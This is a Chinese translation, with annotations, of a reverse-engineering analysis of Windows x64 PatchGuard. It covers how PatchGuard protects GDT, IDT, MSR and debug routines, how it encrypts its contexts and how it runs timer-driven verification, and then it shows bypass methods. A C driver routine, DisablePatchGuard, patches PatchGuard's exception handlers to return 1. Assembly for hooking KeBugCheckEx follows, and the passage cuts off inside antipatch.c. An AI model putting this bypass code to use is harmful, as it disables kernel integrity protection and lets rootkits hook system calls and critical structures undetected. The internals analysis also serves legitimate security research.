雖然獲取GDT和IDT基地址,是用的一個(gè)函數(shù),但在真正進(jìn)行保護(hù)GDT和IDT時(shí),是在兩個(gè)不同的函數(shù)中進(jìn)行的。它們分別是:nt!PgCreateGdtSubContext() 和 nt!PgCreateIdtSubContext()。定義如下:
PPATCHGUARD_SUB_CONTEXT PgCreateGdtSubContext(
? ? IN PPATCHGUARD_CONTEXT ParentContext,
IN UCHAR ProcessorNumber);
PPATCHGUARD_SUB_CONTEXT PgCreateIdtSubContext(
? ? IN PPATCHGUARD_CONTEXT ParentContext,
? ? IN UCHAR ProcessorNumber);
這兩個(gè)函數(shù)會(huì)在所有的處理器上被調(diào)用。nt!KeNumberProcessors指示哪個(gè)處理器,它們就在哪個(gè)處理器上調(diào)用。
(4).? ? ? ? 保護(hù)Processor MSRs的sub-context的初始化
最新最棒的處理器已經(jīng)極大地優(yōu)化了用戶模式切換到內(nèi)核模式所使用的方法。在此之前,大多數(shù)的OS,包括Windows,都使用一個(gè)軟中斷來(lái)處理系統(tǒng)調(diào)用。新一代的處理器采用命令來(lái)進(jìn)行系統(tǒng)調(diào)用,如syscall何sysenter命令。這就可能用到MSR(processor-defined Model-Specific Register)。MSR就包含了即將調(diào)用的內(nèi)核函數(shù)(與用戶態(tài)函數(shù)對(duì)應(yīng))的地址。在x64架構(gòu)上,控制該地址的MSR被稱(chēng)為L(zhǎng)STAR(Long System Target-Address Register) MSR。與MSR相關(guān)聯(lián)的code是0xc0000082。在系統(tǒng)啟動(dòng)過(guò)程中,x64內(nèi)核將MSR初始化為nt!KiSystemCall64()函數(shù)的地址。
微軟為了防止第三方通過(guò)改變LSTAR MSR的值,從而hooking系統(tǒng)調(diào)用,PG在PgCreateMsrSubContext()函數(shù)中創(chuàng)建了類(lèi)型為7(type 7)的sub-context結(jié)構(gòu)體并緩存MSR的值:
PPATCHGUARD_SUB_CONTEXT PgCreateMsrSubContext(
? ? IN PPATCHGUARD_CONTEXT ParentContext,
? ? IN UCHAR Processor);
與GDT/IDT的保護(hù)一樣,LSTAR MSR的值也是與處理器相關(guān)的,需在每個(gè)處理器上都各自保留一份。為確保是從正確的處理器上獲得的MSR值,PG調(diào)用nt!KeSetAffinityThread函數(shù)以確保獲取MSR值的線程是運(yùn)行在相應(yīng)的處理器上。
(5).? ? ? ? 保護(hù)Debug routines的sub-context的初始化
PG創(chuàng)建了一個(gè)特殊的sub-context(type 6)結(jié)構(gòu)體來(lái)保護(hù)某些內(nèi)核函數(shù),這些內(nèi)部函數(shù)被內(nèi)核用著調(diào)試目的,如nt!KdpStub()函數(shù)等。當(dāng)發(fā)生異常后,調(diào)試器在允許內(nèi)核分發(fā)這個(gè)異常前,會(huì)先調(diào)用nt!KdpStub()函數(shù)來(lái)處理這個(gè)異常。實(shí)際上,這個(gè)函數(shù)是在nt!KiDebugRoutine()函數(shù)中調(diào)用的,nt!KiDebugRoutine()函數(shù)實(shí)質(zhì)又是一個(gè)全局變量,調(diào)用nt!KiDebugRoutine()函數(shù)的是nt!KiDispatchException()。所以,這個(gè)調(diào)用路徑是:nt!KiDispatchException() ? nt!KiDebugRoutine() ? nt!KdpStub()。這些過(guò)程都是在如下函數(shù)中完成的:
PPATCHGUARD_SUB_CONTEXT PgCreateDebugRoutineSubContext(
? ? IN PPATCHGUARD_CONTEXT ParentContext);
這個(gè)sub-context初始化后,其好像包含了nt!KdpStub()、nt!KdpTrap()和nt!KiDebugRoutine()函數(shù)的地址。這個(gè)sub-context的作用好像是為了防止第三方驅(qū)動(dòng)修改nt!KiDebugRoutine()函數(shù)的地址以指向別的地方。可能還有其它用處……
3.3.? ? ? ? 保護(hù)PG Contexts自身
創(chuàng)建并初始化好以上contexts后,PG就要保護(hù)這些contexts了。為了增加定位這些PG Contexts的難度,所有的contexts都與一個(gè)隨機(jī)產(chǎn)生的64-bit值進(jìn)行了XOR操作(即加密)。進(jìn)行這個(gè)加密操作的函數(shù)正是nt!PgEncryptContext()。這個(gè)函數(shù)按行XOR提供的context的buffer,并返回這個(gè)XOR值。該函數(shù)的定義如下:
ULONG64 PgEncryptContext(
? ? IN OUT PPATCHGUARD_CONTEXT Context);
nt!KiInitializePatchGuard ()函數(shù)初始化完所有sub-contexts后,下一件事就是加密primary PG context了(parent context)。要完成這個(gè)功能,第一步就是將棧上的context拷貝一份,以便其在被加密后,PG能以純文本的格式(plain-text)引用這個(gè)context。備份context的目的是以后的驗(yàn)證程序在執(zhí)行時(shí)可以加入隊(duì)列中(需要參考context結(jié)構(gòu)體的一些屬性)。做好備份后,就是調(diào)用nt!PgEncryptContext()函數(shù)對(duì)primary PG context進(jìn)行加密了。一旦驗(yàn)證程序被加入到隊(duì)列后,以等候執(zhí)行,context的純文本格式的備份就不再需要了,就會(huì)被清0。偽代碼如下:
PATCHGUARD_CONTEXT LocalCopy;
ULONG64 XorKey;
memmove(
? ? &LocalCopy,
? ? Context,
? ? sizeof(PATCHGUARD_CONTEXT)); // 0x1b8
XorKey = PgEncryptContext(
? ? Context);
... Use LocalCopy for verification routine queuing ...
memset(? ? ? ? //清空備份
? ? &LocalCopy,
? ? 0,
? ? sizeof(LocalCopy));
3.4.? ? ? ? 執(zhí)行PG驗(yàn)證函數(shù)
在初始化所有的sub-contexts后,且在加密primary PG context前,nt!KiInitializePatchGuard ()函數(shù)還做了一個(gè)關(guān)鍵性操作(PG有很多這樣的操作),就是從存儲(chǔ)在primary PG context中,偏移為0x168的一組函數(shù)指針中隨機(jī)選取一個(gè)函數(shù),選中的函數(shù)就會(huì)被間接調(diào)用以處理PG相關(guān)驗(yàn)證操作。
選中驗(yàn)證函數(shù)后,primary PG context就會(huì)被加密了。加密完成后,nt!KiInitializePatchGuard ()函數(shù)就會(huì)初始化一個(gè)timer,這個(gè)timer就會(huì)利用之前分配的那些sub-contexts。初始化這個(gè)timer的函數(shù)正是nt!KeInitializeTimer(),而傳遞給它的指向timer結(jié)構(gòu)體的指針的實(shí)參實(shí)際上是sub-context結(jié)構(gòu)體的一部分。初始化一結(jié)束,這個(gè)timer結(jié)構(gòu)體之后0x88處的值是0x1131(WORD)。經(jīng)過(guò)反匯編,這2個(gè)字節(jié)被傳遞給“xor [rcx], edx”指令。再看看nt!CmpAppendDllSection()函數(shù),你會(huì)發(fā)現(xiàn)它的第一條指令正好包含0x1131:
kd> u nt!CmpAppendDllSection l 1
nt!CmpAppendDllSection:
fffff800`041b513e 2e483111? ?? ???xor? ???qword ptr cs:[rcx],rdx? ? ? ? //第一條指令
kd> dw nt!CmpAppendDllSection l 2
fffff800`041b513e??482e 1131
現(xiàn)在還沒(méi)發(fā)現(xiàn)有什么用,也許后面會(huì)用到……
初始化timer結(jié)構(gòu)體后,PG就開(kāi)始調(diào)用nt!PgInitializeTimer ()函數(shù)將timer加入隊(duì)列中,以等候處理。該函數(shù)的定義如下:
VOID PgInitializeTimer(
? ? IN PPATCHGUARD_CONTEXT Context,
? ? IN PVOID EncryptedContext,
? ? IN ULONG64 XorKey,
? ? IN ULONG UnknownZero);
nt!PgInitializeTimer ()這個(gè)函數(shù)做了一些比較奇怪的事。首先,初始化timer的DPC竟然是之前從primary PG context中隨機(jī)選取的驗(yàn)證函數(shù)(取名DeferredRoutine)。其中,有兩個(gè)實(shí)參會(huì)傳遞給DeferredRoutine()函數(shù):EncryptedContext指針和XorKey。DeferredRoutine()函數(shù)會(huì)將這兩個(gè)參數(shù)做XOR操作,從而產(chǎn)生一個(gè)徹頭徹尾的偽指針(completely bogus pointer)。這個(gè)偽指針又會(huì)被當(dāng)作DeferredContext實(shí)參傳遞給nt!KeInitializeDpc()函數(shù)。最終的偽代碼如下:
KeInitializeDpc(
? ? &Dpc,
? ? Context->TimerDpcRoutine,
? ? EncryptedContext ^ ~(XorKey << UnknownZero));
初始化DPC后,就是調(diào)用nt!KeSetTimer()函數(shù)將DPC加入隊(duì)列了。DPC的DueTime參數(shù)也是隨機(jī)產(chǎn)生的。設(shè)置好timer后,nt!PgInitializeTimer()函數(shù)就返回了。
到此時(shí),nt! KiInitializePatchGuard()函數(shù)就完成了它的使命,并返回到nt!KiFilterFiberContext ()函數(shù)中。那么這個(gè)除法錯(cuò)誤就得到了糾正且恢復(fù)執(zhí)行nt!KiDivide6432()函數(shù)中的div指令的下一條指令了。系統(tǒng)就可以正常啟動(dòng)了???。
然而到目前為止,工作才完成了一半???!接下來(lái)的問(wèn)題是這個(gè)驗(yàn)證程序是如何被調(diào)用起來(lái)的。很明顯,這與DPC例程相關(guān)。我們知道這個(gè)驗(yàn)證程序是從primary PG context中隨機(jī)選取的,事實(shí)上定位這個(gè)函數(shù)指針數(shù)組的方法是反匯編nt! KiInitializePatchGuard()函數(shù):
nt!KiDivide6432+0xec3:
fffff800‘01423e74 8bc1 mov eax,ecx
fffff800‘01423e76 488d0d83c1bdff lea rcx,[nt]
fffff800‘01423e7d 488b84c128044300 mov rax,[rcx+rax*8+0x430428]
同樣,隱藏pool tag array數(shù)組所采用的技術(shù)與此相同。即nt基地址+0x430428即可得DPC函數(shù):
lkd> dqs nt+0x430428 L3
fffff800‘01430428 fffff800‘01033b10 nt!KiScanReadyQueues
fffff800‘01430430 fffff800‘011010e0 nt!ExpTimeRefreshDpcRoutine? ? ? ? //三個(gè)中,此易于理解
fffff800‘01430438 fffff800‘0101dd10 nt!ExpTimeZoneDpcRoutine
從以上信息只能推測(cè)出這些DPC函數(shù)的可能排列,但還沒(méi)有從本質(zhì)上說(shuō)明如何引導(dǎo)這些驗(yàn)證context的函數(shù)執(zhí)行起來(lái)。
從邏輯上講,下一步是理解這些函數(shù)如何基于DeferredContext參數(shù)(從nt!PgInitializeTimer ()函數(shù)傳遞而來(lái))進(jìn)行操作。這個(gè)DeferredContext就指向被加密關(guān)鍵字XOR過(guò)的PG context。以上三個(gè)函數(shù)中,就nt!ExpTimeRefreshDpcRoutine ()函數(shù)易于理解。nt!ExpTimeRefreshDpcRoutine ()函數(shù)的開(kāi)始幾條反匯編指令如下:
lkd> u nt!ExpTimeRefreshDpcRoutine? ? ? ? //我的OS上的指令與之不同,保持與原文一致
nt!ExpTimeRefreshDpcRoutine:
fffff800‘011010e0 48894c2408 mov [rsp+0x8],rcx
fffff800‘011010e5 4883ec68 sub rsp,0x68
fffff800‘011010e9 b801000000 mov eax,0x1
fffff800‘011010ee 0fc102 xadd [rdx],eax
fffff800‘011010f1 ffc0 inc eax
fffff800‘011010f3 83f801 cmp eax,0x1
DeferredRoutine()函數(shù)的第一個(gè)參數(shù)是一個(gè)DPC指針,第二個(gè)參數(shù)是一個(gè)DeferredContext指針。根據(jù)x64函數(shù)調(diào)用約定,rcx保存的就相當(dāng)于是DPC指針,rdx保存的就相當(dāng)于是DeferredContext指針。但這會(huì)有一個(gè)問(wèn)題???!這個(gè)函數(shù)的第4條指令試圖在DeferredContext的第一部分上執(zhí)行xadd指令。根據(jù)之前的介紹,傳遞給DPC例程的DeferredContext是一個(gè)徹頭徹尾的偽指針,這是不是就意味著反引用(de-reference)這個(gè)指針就會(huì)立即BSoD呢?顯然不是的,這就是另外一個(gè)通過(guò)觸發(fā)異常進(jìn)行間接引用(misdirection case)的杰作!
事實(shí)上,nt!ExpTimeRefreshDpcRoutine()、nt!ExpTimeZoneDpcRoutine()和 nt!KiScanReadyQueues()函數(shù)都是相當(dāng)合法的,只是沒(méi)有直接做什么事情而已,而是間接地執(zhí)行了一些code。這三個(gè)函數(shù)所做的事就是反引用(de-reference)DeferredContext指針:
lkd> u fffff800‘01033b43 L1
nt!KiScanReadyQueues+0x33:
fffff800‘01033b43 8b02 mov eax,[rdx]
lkd> u fffff800‘0101dd1e L1
nt!ExpTimeZoneDpcRoutine+0xe:
fffff800‘0101dd1e 0fc102 xadd [rdx],eax
一旦DeferredContext操作指針,就會(huì)產(chǎn)生一個(gè)一般保護(hù)異常(General Protection Fault),這個(gè)異常會(huì)傳遞給nt!KiGeneralProtectionFault()函數(shù)。這個(gè)函數(shù)最終會(huì)執(zhí)行異常處理函數(shù),這個(gè)異常處理函數(shù)與觸發(fā)這個(gè)錯(cuò)誤的函數(shù)(如nt!ExpTimeRefreshDpcRoutine())有關(guān)聯(lián)。在x64系統(tǒng)上,這個(gè)異常處理code與32-bit系統(tǒng)上的完全不同。這些函數(shù)并不是在運(yùn)行時(shí)注冊(cè)異常處理函數(shù)(exception handlers),而是在函數(shù)編譯的過(guò)程中就指定了異常處理函數(shù)。這樣做的好處是這些函數(shù)可以通過(guò)標(biāo)準(zhǔn)的API來(lái)查詢,如nt!RtlLookupFunctionEntry()。這個(gè)函數(shù)將查詢的目標(biāo)函數(shù)的信息存放在RUNTIME_FUNCTION結(jié)構(gòu)體中并返回之。要注意這個(gè)結(jié)構(gòu)體中還包含一些很重要的unwind信息。這個(gè)unwind信息中就包含了異常處理函數(shù)的地址。你可以通過(guò)以下方式來(lái)查看nt!ExpTimeRefreshDpcRoutine()函數(shù)的異常處理函數(shù):
lkd> .fnent nt!ExpTimeRefreshDpcRoutine
Debugger function entry 00000000‘01cdaa4c for:
(fffff800‘011010e0) nt!ExpTimeRefreshDpcRoutine |
(fffff800‘011011d0) nt!ExpCenturyDpcRoutine
Exact matches:
nt!ExpTimeRefreshDpcRoutine = <no type information>
BeginAddress = 00000000‘001010e0
EndAddress = 00000000‘0010110d
UnwindInfoAddress = 00000000‘00131274
lkd> u nt + dwo(nt + 00131277 + (by(nt + 00131276) * 2) + 13)
nt!ExpTimeRefreshDpcRoutine+0x40:
fffff800‘01101120 8bc0 mov eax,eax
fffff800‘01101122 55 push rbp
fffff800‘01101123 4883ec30 sub rsp,0x30
fffff800‘01101127 488bea mov rbp,rdx
fffff800‘0110112a 48894d50 mov [rbp+0x50],rcx
仔細(xì)查看這個(gè)異常處理函數(shù)后,好像它在特定的條件下就會(huì)調(diào)用nt!KeBugCheckEx()函數(shù),且BSoD code是 0x109。當(dāng)你試圖篡改關(guān)鍵的結(jié)構(gòu)體時(shí),PG就會(huì)通過(guò)這個(gè)藍(lán)屏碼(0x109)來(lái)指示藍(lán)屏信息。
以上三個(gè)函數(shù)的異常處理函數(shù)相當(dāng)類(lèi)似,且執(zhí)行的是相同的操作。如果DeferredContext沒(méi)有被修改過(guò),則異常處理函數(shù)最終就會(huì)調(diào)用執(zhí)行備份在INITKDB節(jié)中的保護(hù)context的代碼,尤其是nt!FsRtlUninitializeSmallMcb ()函數(shù),這個(gè)函數(shù)就負(fù)責(zé)調(diào)用各個(gè)驗(yàn)證sub-context的函數(shù)。
3.5.? ? ? ? 報(bào)告驗(yàn)證不一致(Reporting Verification Inconsistencies)
PG檢測(cè)到關(guān)鍵結(jié)構(gòu)體被改變后,其就會(huì)調(diào)用nt!SdpCheckDll()函數(shù)(code-copy version是什么版本,不敢妄猜,反正是個(gè)函數(shù))。傳遞給這個(gè)函數(shù)的參數(shù)之后也會(huì)通過(guò)函數(shù)地址表(function table)傳遞給nt!KeBugCheckEx ()函數(shù)。這里的function table是存放在PG context中的。nt!SdpCheckDll()函數(shù)的作用是在跳轉(zhuǎn)到nt!KeBugCheckEx ()函數(shù)前將當(dāng)前幀(current frame)之前的所有寄存器和棧都清0(原文:The purpose of nt!SdbpCheckDll is to zero out the stack and all of the registers prior to the current frame before jumping to nt!KeBugCheckEx.)。這樣做的目的可能是防止第三方驅(qū)動(dòng)檢測(cè)并根據(jù)bug check report修復(fù)棧吧。如果檢測(cè)順利且沒(méi)有不一致的情況,則該函數(shù)會(huì)創(chuàng)建一個(gè)新的PG context并再次設(shè)置timer,使用的DPC函數(shù)就是第一次隨機(jī)選中的那個(gè)函數(shù)。
繞過(guò)64位windows系統(tǒng)的PatchGuard
了解了PG的大多數(shù)關(guān)鍵性的保護(hù)原理后,下一個(gè)目標(biāo)就是看是否有方法繞過(guò)PG了,主要是想方設(shè)法禁用或欺騙驗(yàn)證函數(shù)。你可以自己創(chuàng)建一個(gè)boot loader,讓它在PG初始化之前就運(yùn)行;也可以修改ntoskrnl.exe,以完全剔除PG初始化。本文采用的方法既不需要憑借入侵操作,也不要去重啟系統(tǒng)。事實(shí)上,最初的目標(biāo)是創(chuàng)建一個(gè)單獨(dú)的函數(shù),或幾個(gè)函數(shù),并采用某種方法將這個(gè)或這幾個(gè)函數(shù)拋給設(shè)備驅(qū)動(dòng)(device drivers),讓它們能夠調(diào)用一個(gè)函數(shù)以禁用PG的保護(hù)功能,這樣驅(qū)動(dòng)開(kāi)發(fā)者依然可以使用現(xiàn)有的hook關(guān)鍵結(jié)構(gòu)體的方法進(jìn)行hook。
要注意本文所列舉的一些方法沒(méi)有經(jīng)過(guò)測(cè)試且只是理論上的方法,本文只介紹經(jīng)過(guò)測(cè)試的方法。在深入介紹這個(gè)特定的繞過(guò)PG的方法前,還需要考慮禁用正在運(yùn)行的(on the fly)PG的幾個(gè)技術(shù)。第一:驗(yàn)證函數(shù)是如何被調(diào)用起來(lái)的,且是依據(jù)什么來(lái)完成驗(yàn)證過(guò)程的。在這種情況下,驗(yàn)證函數(shù)是保存在一個(gè)timer的context中進(jìn)行運(yùn)行的,這個(gè)timer與一個(gè)DPC相關(guān)聯(lián),而這個(gè)DPC又是由一個(gè)系統(tǒng)工作線程(system worker thread)調(diào)用的。最終就會(huì)調(diào)用到異常處理函數(shù)。這個(gè)DPC例程就是從primary PG context中的一塊函數(shù)地址數(shù)組中隨機(jī)選擇來(lái)的,這個(gè)timer對(duì)象的超時(shí)值DueTime也是隨機(jī)產(chǎn)生的。如此種種都是為了增加被檢測(cè)的難度!
撇開(kāi)這個(gè)驗(yàn)證函數(shù)不說(shuō),我們還知道當(dāng)PG檢測(cè)到關(guān)鍵結(jié)構(gòu)體不一致時(shí)會(huì)調(diào)用nt!KeBugCheckEx()函數(shù)(0x109)以讓系統(tǒng)藍(lán)屏。知道了這些小邊信息,繞過(guò)PG的思路就更寬了。
4.1.? ? ? ? Hooking異常處理函數(shù)(Exception Handler Hooking)
既然這個(gè)驗(yàn)證函數(shù)間接依賴(lài)這三個(gè)timer DPC例程的異常處理函數(shù)來(lái)執(zhí)行,那么改變每個(gè)異常處理函數(shù)以讓它們不做任何處理就變得合情合理了。也就是說(shuō)即使DPC例程觸發(fā)了一般保護(hù)錯(cuò)誤異常(general protection fault),異常處理函數(shù)會(huì)被調(diào)用,但其不會(huì)做任何驗(yàn)證檢測(cè)。經(jīng)測(cè)試,這個(gè)方法有效(在當(dāng)前版本的PG)。
實(shí)現(xiàn)這個(gè)方法的第一步就是找到已知與PG相關(guān)聯(lián)的函數(shù)列表。直到今天,這個(gè)列表也只包含那三個(gè)函數(shù),但將來(lái)有可能不是。找到這個(gè)函數(shù)數(shù)組后,還需要找到每個(gè)函數(shù)的異常處理函數(shù),并修改每個(gè)異常處理函數(shù)以返回真(return 0x1)。這個(gè)方法的算法如下:
static CHAR CurrentFakePoolTagArray[] = "AcpSFileIpFIIrp MutaNtFsNtrfSemaTCPc"; //有空格
NTSTATUS DisablePatchGuard()
{? ?? ?? ?? ?
? ? UNICODE_STRING SymbolName;
? ? NTSTATUS Status = STATUS_SUCCESS;
? ? PVOID * DpcRoutines = NULL;
? ? PCHAR NtBaseAddress = NULL;
? ? ULONG Offset;
? ? RtlInitUnicodeString(
? ?? ???&SymbolName,
? ?? ???L"__C_specific_handler");
? ? do
? ? {
? ?? ???//
? ?? ???// Get the base address of nt
? ?? ???//
? ?? ???if (!RtlPcToFileHeader(
? ?? ?? ?? ?MmGetSystemRoutineAddress(&SymbolName),
? ?? ?? ?? ?(PCHAR *)&NtBaseAddress))
? ?? ???{
? ?? ?? ?? ?Status = STATUS_INVALID_IMAGE_FORMAT;
? ?? ?? ?? ?break;
? ?? ???}
? ?? ???
? ?? ???//
? ?? ???// Search the image to find the first occurrence of:
? ?? ???//
? ?? ???// "AcpSFileIpFIIrp MutaNtFsNtrfSemaTCPc"
? ?? ???//
? ?? ???// This is the fake tag pool array that is used to allocate protection contexts.
? ?? ???//
? ?? ???__try
? ?? ???{
? ?? ?? ?? ?for (Offset = 0; !DpcRoutines;??Offset += 4)
? ?? ?? ?? ?{
? ?? ?? ?? ?? ? //
? ?? ?? ?? ?? ? // If we find a match for the fake pool tag array, the DPC routine
? ?? ?? ?? ?? ? // addresses will immediately follow.
? ?? ?? ?? ?? ? //
? ?? ?? ?? ?? ? if (memcmp(
? ?? ?? ?? ?? ?? ???NtBaseAddress + Offset,
? ?? ?? ?? ?? ?? ???CurrentFakePoolTagArray,
? ?? ?? ?? ?? ?? ???sizeof(CurrentFakePoolTagArray) - 1) == 0)
? ?? ?? ?? ?? ? {
? ?? ?? ?? ?? ?? ???DpcRoutines = (PVOID *)(NtBaseAddress +
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?Offset + sizeof(CurrentFakePoolTagArray) + 3);
? ?? ?? ?? ?? ? }
? ?? ?? ?? ?}
? ?? ???}
? ?? ???__except(EXCEPTION_EXECUTE_HANDLER)
? ?? ???{
? ?? ?? ?? ?//
? ?? ?? ?? ?// If an exception occurs, we failed to find it. Time to bail out.
? ?? ?? ?? ?//
? ?? ?? ?? ?Status = GetExceptionCode();
? ?? ?? ?? ?break;
? ?? ???}
? ?? ???DebugPrint(("DPC routine array found at %p.",DpcRoutines));
? ?? ???//
? ?? ???// Walk the DPC routine array.
? ?? ???//
? ?? ???for (Offset = 0; DpcRoutines[Offset] && NT_SUCCESS(Status); Offset++)
? ?? ???{
? ?? ?? ?? ?PRUNTIME_FUNCTION Function;
? ?? ?? ?? ?ULONG64 ImageBase;
? ?? ?? ?? ?PCHAR UnwindBuffer;
? ?? ?? ?? ?UCHAR CodeCount;
? ?? ?? ?? ?ULONG HandlerOffset;
? ?? ?? ?? ?PCHAR HandlerAddress;
? ?? ?? ?? ?PVOID LockedAddress;
? ?? ?? ?? ?PMDL Mdl;
? ?? ?? ?? ?? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// If we find no function entry, then go on to the next entry.
? ?? ?? ?? ?//
? ?? ?? ?? ?if ((!(Function = RtlLookupFunctionEntry(
? ?? ?? ?? ?? ???(ULONG64)DpcRoutines[Offset],
? ?? ?? ?? ?? ???&ImageBase,
? ?? ?? ?? ?? ???NULL))) || (!Function->UnwindData))
? ?? ?? ?? ?{
? ?? ?? ?? ?? ? Status = STATUS_INVALID_IMAGE_FORMAT;
? ?? ?? ?? ?? ? continue;
? ?? ?? ?? ?}
? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// Grab the unwind exception handler address if we’re able to find one.
? ?? ?? ?? ?//
? ?? ?? ?? ?UnwindBuffer = (PCHAR)(ImageBase + Function->UnwindData);
? ?? ?? ?? ?CodeCount = UnwindBuffer[2];
? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// The handler offset is found within the unwind data that is specific
? ?? ?? ?? ?// to the language in question. Specifically, it’s +0x10 bytes into
? ?? ?? ?? ?// the structure not including the UNWIND_INFO structure itself and any
? ?? ?? ?? ?// embedded codes (including padding). The calculation below accounts
? ?? ?? ?? ?// for all these and padding.
? ?? ?? ?? ?//
? ?? ?? ?? ?HandlerOffset = *(PULONG)((ULONG64)(UnwindBuffer + 3 +
? ?? ?? ?? ?? ?? ?? ?? ?? ???(CodeCount * 2) + 20) & ~3);
? ?? ?? ?? ?? ?? ???
? ?? ?? ?? ?//
? ?? ?? ?? ?// calculate the full address of the handler to patch.
? ?? ?? ?? ?//
? ?? ?? ?? ?HandlerAddress = (PCHAR)(ImageBase + HandlerOffset);
? ?? ?? ?? ?DebugPrint(("Exception handler for %p found at %p (unwind %p).",
? ?? ?? ?? ?? ? DpcRoutines[Offset],
? ?? ?? ?? ?? ? HandlerAddress,
? ?? ?? ?? ?? ? UnwindBuffer));
? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// Finally, patch the routine to simply return with 1. We’ll patch with:
? ?? ?? ?? ?//
? ?? ?? ?? ?// 6A01 push byte 0x1
? ?? ?? ?? ?// 58 pop eax
? ?? ?? ?? ?// C3 ret
? ?? ?? ?? ?//
? ?? ?? ?? ?? ?? ???
? ?? ?? ?? ?//
? ?? ?? ?? ?// Allocate a memory descriptor for the handler’s address.
? ?? ?? ?? ?//
? ?? ?? ?? ?if (!(Mdl = MmCreateMdl( NULL, (PVOID)HandlerAddress, 4)))
? ?? ?? ?? ?{
? ?? ?? ?? ?? ? Status = STATUS_INSUFFICIENT_RESOURCES;
? ?? ?? ?? ?? ? continue;
? ?? ?? ?? ?}
? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// Construct the Mdl and map the pages for kernel-mode access.
? ?? ?? ?? ?//
? ?? ?? ?? ?MmBuildMdlForNonPagedPool(Mdl);
? ?? ?? ?? ?if (!(LockedAddress = MmMapLockedPages(Mdl, KernelMode)))
? ?? ?? ?? ?{
? ?? ?? ?? ?? ? IoFreeMdl(Mdl);
? ?? ?? ?? ?? ? Status = STATUS_ACCESS_VIOLATION;
? ?? ?? ?? ?? ? continue;
? ?? ?? ?? ?}
? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// Interlocked exchange the instructions we’re overwriting with.
? ?? ?? ?? ?//
? ?? ?? ?? ?InterlockedExchange((PLONG)LockedAddress, 0xc358016a);
? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// Unmap and destroy the MDL
? ?? ?? ?? ?//
? ?? ?? ?? ?MmUnmapLockedPages(LockedAddress,Mdl);
? ?? ?? ?? ?IoFreeMdl(Mdl);
? ?? ???} //for
? ? } while (0);
? ? return Status;
}
這個(gè)方法的優(yōu)點(diǎn)是其比較小且相對(duì)簡(jiǎn)單,容錯(cuò)能力也比較強(qiáng)。缺點(diǎn)是其要求pool tag數(shù)組剛好就在DPC函數(shù)地址數(shù)組之前且緊挨著,且尋找pool tag數(shù)組依賴(lài)于一個(gè)固定值,而微軟將來(lái)完全有可能消除該固定值。鑒于這些原因,在產(chǎn)品中最好不要使用該方法。
4.2.? ? ? ? Hooking KeBugCheckEx
PG保護(hù)無(wú)法避免的一個(gè)事實(shí)就是其必須以某種方法報(bào)告驗(yàn)證不一致。事實(shí)上,這個(gè)方法在檢測(cè)到打補(bǔ)丁的操作后,必須關(guān)閉系統(tǒng),以防止第三方廠商繼續(xù)運(yùn)行代碼。這種方法就是調(diào)用nt!KeBugCheckEx()函數(shù),bug check code就是之前的0x109。這里采用BSoD,而不是黑屏、直接關(guān)機(jī)或重啟系統(tǒng)的目的是讓用戶知道發(fā)生了什么。(微軟還是很厚道的~~~)
本文的作者想繞過(guò)這個(gè)技術(shù)的第一個(gè)想法就是讓nt!KeBugCheckEx()函數(shù)返回到調(diào)用者的調(diào)用幀(caller’s caller frame)中。這樣做是有必要的,在調(diào)用nt!KeBugCheckEx()函數(shù)后,因?yàn)榫幾g器立即插入了一個(gè)調(diào)試器陷阱(debugger trap),所以就不可能返回到調(diào)用者那里了,但還是有可能返回到調(diào)用者的調(diào)用幀中。舉個(gè)例:FuncA調(diào)用FuncB,FuncB觸發(fā)異常,導(dǎo)致nt!KeBugCheckEx()函數(shù)被調(diào)用,在不能回到FuncB的情況下,我們讓它回到FuncA的幀中(caller’s call frame)。但是,我們之前已說(shuō)過(guò),PG已經(jīng)將調(diào)用nt!KeBugCheckEx()函數(shù)之前的棧都清0了。因此,想hook nt!KeBugCheckEx()函數(shù)似乎是死路一條。恰恰相反,不是!(被作者嚇出一身冷汗???~~~)
由此衍生出一種方法,你不用擔(dān)心存儲(chǔ)在寄存器或棧上的context,而是利用“每個(gè)線程都會(huì)保留其自身的入口點(diǎn)地址”這個(gè)特征。對(duì)于系統(tǒng)工作線程(system worker threads),這個(gè)入口點(diǎn)通常就指向nt!ExpWorkerThread ()這樣的函數(shù)。因?yàn)橛卸鄠€(gè)系統(tǒng)工作線程都指向nt!ExpWorkerThread (),該如何是好?不用擔(dān)心。傳遞給這個(gè)函數(shù)的context參數(shù)與具體的線程不相干,因?yàn)橄到y(tǒng)工作線程只是用來(lái)處理工作項(xiàng)(work items)和超時(shí)的DPC例程。知道了這一點(diǎn),這個(gè)方法歸結(jié)起來(lái),就是hook nt!KeBugCheckEx()函數(shù)并判斷bug check code是否是0x109。如果不是0x109,則直接調(diào)用原始的nt!KeBugCheckEx()函數(shù)。如果是0x109,則這個(gè)線程可以重啟,重啟的方法是修復(fù)這個(gè)調(diào)用線程的棧指針(當(dāng)前棧指針減0x8),然后跳轉(zhuǎn)到這個(gè)線程的StartAddress處。這樣做的結(jié)果是,線程繼續(xù)回去一如既往地處理work items和超時(shí)的DPC例程。
有個(gè)很明顯的方法就是簡(jiǎn)單地結(jié)束這個(gè)調(diào)用線程,但這樣做是不可能的。因?yàn)镺S會(huì)持續(xù)跟蹤系統(tǒng)工作線程并檢測(cè)其中是否有退出的。系統(tǒng)工作線程的退出會(huì)導(dǎo)致系統(tǒng)BSoD。Hook nt!KeBugCheckEx()函數(shù)的算法如下:
== ext.asm==============
.data
EXTERN OrigKeBugCheckExRestorePointer:PROC
EXTERN KeBugCheckExHookPointer:PROC
.code
;
; Points the stack pointer at the supplied argument and returns to the caller.
;
public AdjustStackCallPointer
AdjustStackCallPointer PROC
mov rsp, rcx
xchg r8, rcx
jmp rdx
AdjustStackCallPointer ENDP
;
; Wraps the overwritten preamble of KeBugCheckEx.
;
public OrigKeBugCheckEx
OrigKeBugCheckEx PROC
mov [rsp+8h], rcx
mov [rsp+10h], rdx
mov [rsp+18h], r8
lea rax, [OrigKeBugCheckExRestorePointer]
jmp qword ptr [rax]
OrigKeBugCheckEx ENDP
END
== antipatch.c===========
//
// Both of these routines reference the assembly code described
// above
//
